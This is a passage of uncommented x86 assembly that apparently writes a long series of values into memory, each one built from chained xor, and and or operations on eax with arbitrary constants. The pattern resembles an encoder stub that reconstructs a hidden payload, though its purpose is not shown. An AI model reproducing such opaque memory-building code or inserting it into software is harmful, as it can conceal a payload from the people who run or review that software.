mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdc0e42
and eax, 0x66016100
or eax, 0x11041002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48fda1c2
or eax, 0x75bbbb63
and eax, 0x40017100
or eax, 0x414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x270f0b32
or eax, 0x4367eb7c
and eax, 0x42210a24
or eax, 0xa4980001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c41ad8e
and eax, 0x4000004
or eax, 0x9bfa979b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x696cd8c3
and eax, 0x90840150
or eax, 0x6080a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x788bac36
and eax, 0x3a0a1935
and eax, 0x10000010
or eax, 0xc2b3ad8e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f59e46b
and eax, 0x5d8b606d
or eax, 0x20001200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1806066b
xor eax, 0x783ef1bb
and eax, 0x1100510
or eax, 0x70027801
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x618dfc04
or eax, 0x35433c29
and eax, 0x254a3c1d
or eax, 0xa000242
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58e151cf
and eax, 0x250a2e10
or eax, 0x401047
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x313ead46
xor eax, 0x6a230232
and eax, 0x30421102
or eax, 0x120004c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a845d37
or eax, 0x7b5b1522
and eax, 0x793d0052
or eax, 0x84002200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x508fca97
xor eax, 0x7c9c568f
and eax, 0x8002b000
or eax, 0x26c80324
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cb09eb7
and eax, 0x36a948b5
and eax, 0x12200881
or eax, 0xcd92a542
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60abbc23
and eax, 0xb00910a0
or eax, 0x46a00f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e5f7a4f
and eax, 0xa014b04f
or eax, 0x41a00000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x368a1b44
xor eax, 0x4ab73870
and eax, 0x85809121
or eax, 0x2160084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5fcb8857
and eax, 0x1808000
or eax, 0xb82034a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x740d0a5c
or eax, 0x4dfd6479
and eax, 0xbdb0b6a0
or eax, 0x2000102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13fbfdd8
and eax, 0x1280a180
or eax, 0xc80c0030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ca45547
and eax, 0x8200c0c6
or eax, 0x1940308
mov dword [ebx], eax
add ebx, ecx
or eax, 0x67467630
xor eax, 0x4fa4c287
and eax, 0x20602578
or eax, 0x201c882
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f72f110
and eax, 0x202000
or eax, 0x250b062f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a6385e6
or eax, 0x6d2ceb0e
and eax, 0x8650a00
or eax, 0x801000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63e002ad
and eax, 0
or eax, 0xa71f08f7
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32f4729c
and eax, 0x90
or eax, 0x15021220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x239d0634
or eax, 0x5a3ff812
and eax, 0x4b06b010
or eax, 0xa4c00408
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e848c34
and eax, 0x48420c08
or eax, 0x180080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6416f582
and eax, 0x40000480
or eax, 0x2444138
mov dword [ebx], eax
add ebx, ecx
and eax, 0x377d19aa
and eax, 0x400100
or eax, 0x80307c53
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4223caf3
xor eax, 0x11a243fb
and eax, 0xc2808000
or eax, 0x280c0283
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13b16dcc
xor eax, 0x8c5ad79
and eax, 0xa4581e1
or eax, 0x609a4206
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bcbaa3c
and eax, 0x102889
or eax, 0x84ca0404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63ee919e
and eax, 0x46040000
or eax, 0x8494048
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x50f6219d
and eax, 0x1e126040
or eax, 0x60401622
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d6c7b79
and eax, 0x220e0111
or eax, 0xc440b220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x413d9291
and eax, 0x31b87f9
and eax, 0x8011
or eax, 0x9bf734ea
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x163a02b5
and eax, 0x50906bc
and eax, 0x401020c
or eax, 0x90969893
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x503514ad
or eax, 0x4c5b85aa
and eax, 0x882b8f92
or eax, 0x43005
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42f0063
or eax, 0x44e87b58
and eax, 0x887929f
or eax, 0x1100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39bac487
xor eax, 0x16a2a585
and eax, 0x5000402
or eax, 0x2003c0dc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x207f8914
and eax, 0x5644508
or eax, 0xe081b025
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x73ab25d5
xor eax, 0xbb4bcc9
and eax, 0x10a0811
or eax, 0x4204938c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31995db6
or eax, 0x7a91c288
and eax, 0x431dce3d
or eax, 0x200000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ec3798a
and eax, 0x2014000
or eax, 0xedf4b4b3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x771960f
and eax, 0x5609001
or eax, 0xc08e42c4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c7e819c
or eax, 0x470b4a43
and eax, 0xa1011111
or eax, 0x202020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6318b5cf
and eax, 0xa61e6b0
and eax, 0x22184b0
or eax, 0xbd523801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x914d1bd
and eax, 0x87179d00
or eax, 0x880240
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52922ee7
and eax, 0xc40c9085
or eax, 0x20c00618
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ab35fb1
and eax, 0xa4378128
or eax, 0x40800283
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e5e0a6
and eax, 0xa180a2
or eax, 0xb1022d04
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe74dc59
and eax, 0x8ac151fe
or eax, 0x40008600
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ae73791
xor eax, 0x198af59e
and eax, 0xe0050021
or eax, 0x812e816
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2df88da9
and eax, 0x538311bd
and eax, 1
or eax, 0xb687938e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x55ad1403
and eax, 0xe1008280
or eax, 0x4c04852
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x225e0bde
and eax, 0x1060000
or eax, 0x20213433
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20a99c05
and eax, 0x1022006
or eax, 0x4e401600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42dd2001
xor eax, 0x5ba5a20e
and eax, 0x463aa401
or eax, 0xa8c40186
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a401cad
and eax, 0xeaacb8a0
or eax, 0x10010240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x590299c
and eax, 0x1fbf2c45
and eax, 0x2000
or eax, 0xe21dc2a9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ad3e06a
xor eax, 0x1a0b62d6
and eax, 0x90c02014
or eax, 0x48328542
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40be6c81
and eax, 0xc0f4e1d3
or eax, 0x24010000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7502092d
and eax, 0x409ea5bd
and eax, 0x4080a0a1
or eax, 0xbb615642
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3104406e
and eax, 0xe9e5e4e6
or eax, 0x4180010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b5bd5b
or eax, 0x555576ae
and eax, 0xab4d64a0
or eax, 0x828050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b62112c
and eax, 0xa005f0d0
or eax, 0xb420000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75aba70b
xor eax, 0x277a1b6
and eax, 0x1011a424
or eax, 0x600882
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61693a35
and eax, 0x72742b11
and eax, 0x20302001
or eax, 0x8988c1ac
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47ac8cca
and eax, 0xa00080
or eax, 0xcc055f70
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x405e7059
and eax, 0xb0200
or eax, 0x12040056
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e14bd91
and eax, 0xc138707
or eax, 0x1c44030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1366e01
and eax, 0x1000001
or eax, 0x44612926
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7398ce4
and eax, 0x5000020
or eax, 0x6a9ac51a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75068453
and eax, 0x18144040
or eax, 0x45432806
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xea58433
and eax, 0x3424c31
or eax, 0xc0388
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29a2f74f
or eax, 0x61189c8b
and eax, 0x433635f3
or eax, 0x84010000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x658baa18
xor eax, 0x4c275c7d
and eax, 0xa2904104
or eax, 0x4661450
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11e1a084
and eax, 0xb0b194
or eax, 0x48080829
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cef59bf
and eax, 0xa81115
or eax, 0xa5024442
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfc7bbc2
and eax, 0x24ce014
or eax, 0x5192010a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29c8bbb4
and eax, 0x7116dd0f
and eax, 0x100
or eax, 0x647676a3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20dbbeec
and eax, 0x40254042
or eax, 0x33503020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc8db826
xor eax, 0x70d14119
and eax, 0xe080958
or eax, 0x30163220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20d4bb77
and eax, 0x20002110
or eax, 0x5e2b0007
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3dc0722a
or eax, 0x123f4061
and eax, 0x14104060
or eax, 0x140050c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x378b9a58
xor eax, 0x47beea85
and eax, 0x122802c8
or eax, 0x8c400530
mov dword [ebx], eax
add ebx, ecx
and eax, 0x327b769a
xor eax, 0x499ec963
and eax, 0x868d81
or eax, 0xa4012000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2eb86c0
and eax, 0x828480
or eax, 0xb7101a30
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9688d39
and eax, 0x7f981317
and eax, 0x1e081001
or eax, 0x123203a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cabb150
and eax, 0x546d96ea
and eax, 0x1000
or eax, 0xa1928815
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d000424
and eax, 0x81808c31
or eax, 0x24042c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1244c346
and eax, 0x294e5eb6
and eax, 0x200
or eax, 0x79a09597
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7680c5eb
and eax, 0x10800083
or eax, 0x8e1b704c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c18d914
and eax, 0xa1b9199
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f37ee1d
and eax, 0x3c3b3611
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x273d6000
and eax, 0x5c6b1791
and eax, 0x4290000
or eax, 0x33103f39
mov dword [ebx], eax
add ebx, ecx
and eax, 0x782327f9
or eax, 0x2e04d7da
and eax, 0x36203632
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60a513e8
and eax, 0x148521c8
or eax, 0x1084201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x499d48f8
and eax, 0x4a319b79
and eax, 0
or eax, 0x330c0d04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e8f340a
xor eax, 0x5c9a6f2c
and eax, 0x46864000
or eax, 0x914994d1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3d7b3615
xor eax, 0x4bda1240
and eax, 0x8140c084
or eax, 0x48910958
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x420c391b
and eax, 0x8b10c0c6
or eax, 0x34020f28
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5eea2c9b
and eax, 0x7e624242
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x567851e6
or eax, 0xc721cd1
and eax, 0x76625f74
or eax, 0x2000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44807365
and eax, 0x30620c10
or eax, 0x4811726a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13f4b618
and eax, 0x49fbe87b
and eax, 0x400018
or eax, 0xbc015740
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a661ebb
and eax, 0x30001008
or eax, 0x839ce142
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb704d2b
and eax, 0x8a949922
or eax, 0x4000094
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2259fd4c
or eax, 0x6eed5663
and eax, 0x46c4d441
or eax, 0x80000080
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd693a40
xor eax, 0x4a0d8cc9
and eax, 0x607008
or eax, 0x521981f4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x370b51da
and eax, 0x2094058
or eax, 0xe5b40206
mov dword [ebx], eax
add ebx, ecx
and eax, 0x258435eb
and eax, 0x1800048
or eax, 0xc8606494
mov dword [ebx], eax
add ebx, ecx
and eax, 0x682c6fb3
or eax, 0x2d7d7855
and eax, 0x21753491
or eax, 0x8308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1870dee3
and eax, 0x29052932
or eax, 0x46728281
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74e613b2
and eax, 0x616f7549
and eax, 0x1003000
or eax, 0x7a6a4f6e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42abbd00
and eax, 0x8008064
or eax, 0x821a0511
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5968b58a
xor eax, 0x75591c37
and eax, 0x58418125
or eax, 0x828060c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c8eff4
and eax, 0xd2000411
or eax, 0xc6d1ce
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d20070f
or eax, 0x19c96e9c
and eax, 0x19c16782
or eax, 0xe4368040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f45a089
and eax, 0x64cb41a0
and eax, 0x40000080
or eax, 0x1b84cd42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71bdf8d9
and eax, 0x2001100
or eax, 0xc0844aa4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d1a9569
and eax, 0x819284c0
or eax, 0x10110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7302625e
and eax, 0x5f5923b
and eax, 0x1000000
or eax, 0xd0c5dd8b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x400a992f
and eax, 0x9c85585
and eax, 0x1405580
or eax, 0x4e040858
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb78a951
or eax, 0x760794ad
and eax, 0x6d554d5d
or eax, 2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56585c7a
and eax, 0x1010000
or eax, 0x44506e42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x349966a2
and eax, 0x60400000
or eax, 0x801121f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ea0b158
and eax, 0x28a10259
or eax, 0x81080420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16580f0
or eax, 0x49736bda
and eax, 0x40e86a63
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79fb8eb6
and eax, 0x202dc674
and eax, 0x14054
or eax, 0x501e1020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bb153e4
or eax, 0x6fb00ea7
and eax, 0x279a0b07
or eax, 0x80404040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3bf57ed9
xor eax, 0x440f3552
and eax, 0xb0b00804
or eax, 0x4049120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46fee4e3
and eax, 0x71b471f3
and eax, 0x7082
or eax, 0x8ede8624
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52ae8b8b
and eax, 0x570804a9
and eax, 0x52080428
or eax, 0xa8e2f244
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60ca788d
and eax, 0xc23004
or eax, 0x14218c90
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6df37ef2
xor eax, 0x2ef1a63
and eax, 0x201ac004
or eax, 0x40025e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d3fc73e
and eax, 0x4e4e94a3
and eax, 0xc000420
or eax, 0x20216049
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7fe18afb
and eax, 0x50c06812
or eax, 0xa8231120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34a2a6ca
or eax, 0x58c4b60
and eax, 0x90f6b98
or eax, 5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x270734ae
xor eax, 0x2f7d794
and eax, 0xcb408a4
or eax, 0x40001340
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e04d3d1
and eax, 0x28b96d5e
and eax, 0x100
or eax, 0x454b1c13
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72504f3c
and eax, 0x40400500
or eax, 0x9f9e904f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3700b03c
xor eax, 0x2317db0b
and eax, 0x40c94c50
or eax, 0x49081
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2388e0cd
or eax, 0x72090751
and eax, 0x314d215c
or eax, 0xa2c0a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67e66ac2
and eax, 0x1404000
or eax, 0x5e011523
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11086888
and eax, 0x17086800
or eax, 0x240254
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c7c437
and eax, 0x40010
or eax, 0xf9da1d0b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ae7041b
and eax, 0x83390900
or eax, 0x6002c2dd
mov dword [ebx], eax
add ebx, ecx
or eax, 0x588d20e2
xor eax, 0x1c5ae5ab
and eax, 0xe7e50840
or eax, 0x1812d183
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51175e1a
or eax, 0x59335ee5
and eax, 0x97b54a91
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24c1a8da
xor eax, 0x572c1f16
and eax, 0x538c0084
or eax, 0x8c40c059
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43df3db
and eax, 0xdae02106
or eax, 0x2402c8e9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a633ab8
xor eax, 0x297de861
and eax, 0x52000394
or eax, 0x8404861
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a613ab2
or eax, 0x1a6ed8d3
and eax, 0x42405b52
or eax, 0x1100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ef01a63
and eax, 0x9000110
or eax, 0xb2163a86
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11041c58
and eax, 0x18161006
or eax, 0x80000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d94ee0f
or eax, 0x33d7b538
and eax, 0x1205240a
or eax, 0x800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5bec739e
or eax, 0x4a9d0d8a
and eax, 0x4a952582
or eax, 0x201251
mov dword [ebx], eax
add ebx, ecx
or eax, 0x246c7ff2
or eax, 0x7b0873ec
and eax, 0x5360664e
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33840bcb
and eax, 0x2324204e
or eax, 0x8010010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68c04d83
or eax, 0x7a78ffb9
and eax, 0x2238ee83
or eax, 0x81820044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60c1247
and eax, 0x4c47620c
and eax, 0x204
or eax, 0xd2ba9048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x234a4340
and eax, 0
or eax, 0x38242034
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x100a969
and eax, 0x1048155
or eax, 0x6925080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53284c38
xor eax, 0x456c49c6
and eax, 0x42000902
or eax, 0xa9020400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e51a1f2
and eax, 0xc15304b0
or eax, 0x2085101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12c87644
and eax, 0x5c2abd1e
and eax, 0x50000000
or eax, 0x252d42ca
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a6c42b0
and eax, 0x4801006a
or eax, 0x30360f85
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78362bc8
and eax, 0x12427
or eax, 0xc4969918
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1deae782
and eax, 0xfdc591
or eax, 0x2000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x166a7735
or eax, 0x50be0f88
and eax, 0x50c64c99
or eax, 0xa8013024
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7234d03f
and eax, 0x88828082
or eax, 0x500c035d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b38e9ed
and eax, 0x80000c1
or eax, 0x2544a22
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34999f5f
or eax, 0x63d7fc04
and eax, 0x1505604
or eax, 0x8080000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x481ca437
and eax, 0x143207
or eax, 0x80200800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b7580bc
and eax, 0x100000
or eax, 0xe1c8d592
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4686be5c
xor eax, 0x716b22d8
and eax, 0x10304112
or eax, 0x290aa408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d4e3fe
and eax, 0x4432e9d2
and eax, 0x104012
or eax, 0x216f0240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f6d1002
xor eax, 0x347b8b6d
and eax, 0x204510e
or eax, 0x840a0400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x345a2d2c
and eax, 0x82101820
or eax, 0x1a28589
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e5c81f4
and eax, 0x8dcc000c
or eax, 0x401183a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3848f822
and eax, 0x8088000
or eax, 0x1694545d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f2c5eaf
xor eax, 0x4dad672f
and eax, 0x120128d0
or eax, 0x844e0023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6eb7d774
and eax, 0x5cc6756b
and eax, 0x40c07500
or eax, 0xa23480c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x625d9427
and eax, 0xd5e5e1
or eax, 0xd020210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x598eaa88
and eax, 0x54190011
or eax, 0xa0a6b206
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18eac7b1
xor eax, 0x57b5ab26
and eax, 0x3142030
or eax, 0xa840d2c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60ce610c
and eax, 0x415ca324
or eax, 0x10000801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x316ef655
and eax, 0x1040810
or eax, 0xa010000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a016179
xor eax, 0x12153bc7
and eax, 0x1403c1
or eax, 0xe3490400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2210ea49
and eax, 0x5ca42e6c
and eax, 0x40
or eax, 0x9eb0c081
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x672e9fd6
xor eax, 0x1a78057
and eax, 0x88004500
or eax, 0x7820094
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5accace4
and eax, 0x6da9dbc5
and eax, 0x8000004
or eax, 0x8002f229
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47f372e8
and eax, 0x3220
or eax, 0xa8658d15
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f36c3ab
and eax, 0x778b5233
and eax, 0x44020221
or eax, 0x90902484
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fec030e
and eax, 0x10800204
or eax, 0xa822999a
mov dword [ebx], eax
add ebx, ecx
or eax, 0xea80d8e
and eax, 0x800a9b1e
or eax, 0x41452021
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5db337e0
and eax, 0xc105333e
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x162fd00d
xor eax, 0x13a5cad8
and eax, 0x808209c3
or eax, 0x1058218
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5837a33
and eax, 0x8404f0c0
or eax, 0x78c30416
mov dword [ebx], eax
add ebx, ecx
and eax, 0x181d60c
or eax, 0x5a5630b8
and eax, 0x484350b4
or eax, 0x21200042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b7a3615
and eax, 0x486b1431
or eax, 0x14000808
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3cb16b0d
and eax, 0x8010801
or eax, 0x435e5032
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d9da191
xor eax, 0x7031478d
and eax, 0x702c4314
or eax, 0x82d09843
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c8a5bde
and eax, 0xeca882de
or eax, 0x2020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x102e103c
and eax, 0x53b3344d
and eax, 0x50801040
or eax, 0x2574ca89
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x358a3658
and eax, 0x60c001
or eax, 0x96011020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e8d9a24
and eax, 0x6019000
or eax, 0xe9c44bc5
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf4134c
and eax, 0x4fc5c0cd
or eax, 0xa0420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72b1ff28
or eax, 0x2048f602
and eax, 0x2c037742
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d334c81
and eax, 0x19203781
or eax, 0x480010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52cf5f9a
and eax, 0x1a52000
or eax, 0xb0189270
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b851663
and eax, 0x8a108402
or eax, 0x54c411a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7106a78d
and eax, 0x23523000
or eax, 0x40244054
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a23b0d9
and eax, 0x6850800d
or eax, 0x84021550
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d5f3e12
xor eax, 0x29f36b40
and eax, 0xd0d4c00f
or eax, 0x10131e0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79e0c6f3
and eax, 0x1cba46fe
and eax, 0x8040c0
or eax, 0xe4478a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5860d7d8
and eax, 0x40408280
or eax, 0x90b92903
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4416f07c
xor eax, 0x6138dde3
and eax, 0x50948208
or eax, 0x285000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x586bf805
xor eax, 0x5d7a75e4
and eax, 0xc420140
or eax, 0x60045812
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53fe1e51
and eax, 0x5660f99f
and eax, 0x2201100
or eax, 0x21112428
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e34e04e
and eax, 0x30009166
or eax, 0xe02299
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ee1a366
and eax, 0x1c001010
or eax, 0x214c4e22
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4611ef80
and eax, 0x4000
or eax, 0x30f93128
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d6a2e58
and eax, 0x11a85b60
or eax, 0x2008087
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3dba51f7
or eax, 0x18960c19
and eax, 0x1a160810
or eax, 0x41001006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1da331c4
xor eax, 0x1997fa96
and eax, 0x3020300
or eax, 0x4c0008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e2dc196
and eax, 0x14024288
or eax, 0xa2883401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e1b5c49
and eax, 0x2413e084
and eax, 0
or eax, 0xb28987bb
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb96c349
and eax, 0x12104002
or eax, 0x40002800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4ff4c5db
and eax, 0x40000000
or eax, 0x88201831
mov dword [ebx], eax
add ebx, ecx
